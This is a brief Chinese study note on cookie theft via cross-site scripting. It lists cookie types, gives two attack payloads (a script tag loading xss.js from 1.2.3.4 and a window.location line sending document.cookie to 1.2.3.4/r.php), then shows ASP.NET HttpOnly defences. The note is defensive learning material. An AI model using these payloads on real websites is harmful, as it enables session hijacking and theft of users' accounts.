读书笔记——威胁：cookie盗窃

一般网站涉及cookie有两种形式：

1、会话cookie

2、持久性cookie

 

攻击者的方式可以有以下：

a、输入文本“<img src=“http://www.a.com/a.jpg<script type=text/javascript src=http://1.2.3.4:81/xss.js">"/><<img src=http://www.a.com/a.jpg</sript>””

b、window.location="http://1.2.3.4:81/r.php?u="+document.links[1].text+"&l="+document.links[1]+"&c="+document.cookie;

 

 

阻止方法：

1、web.config

<httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/>

 

2、程序中处理

Response.Cookies["MyCookie"].Value="Remembering you..";

Response.Cookies["MyCookie"].HttpOnly=true;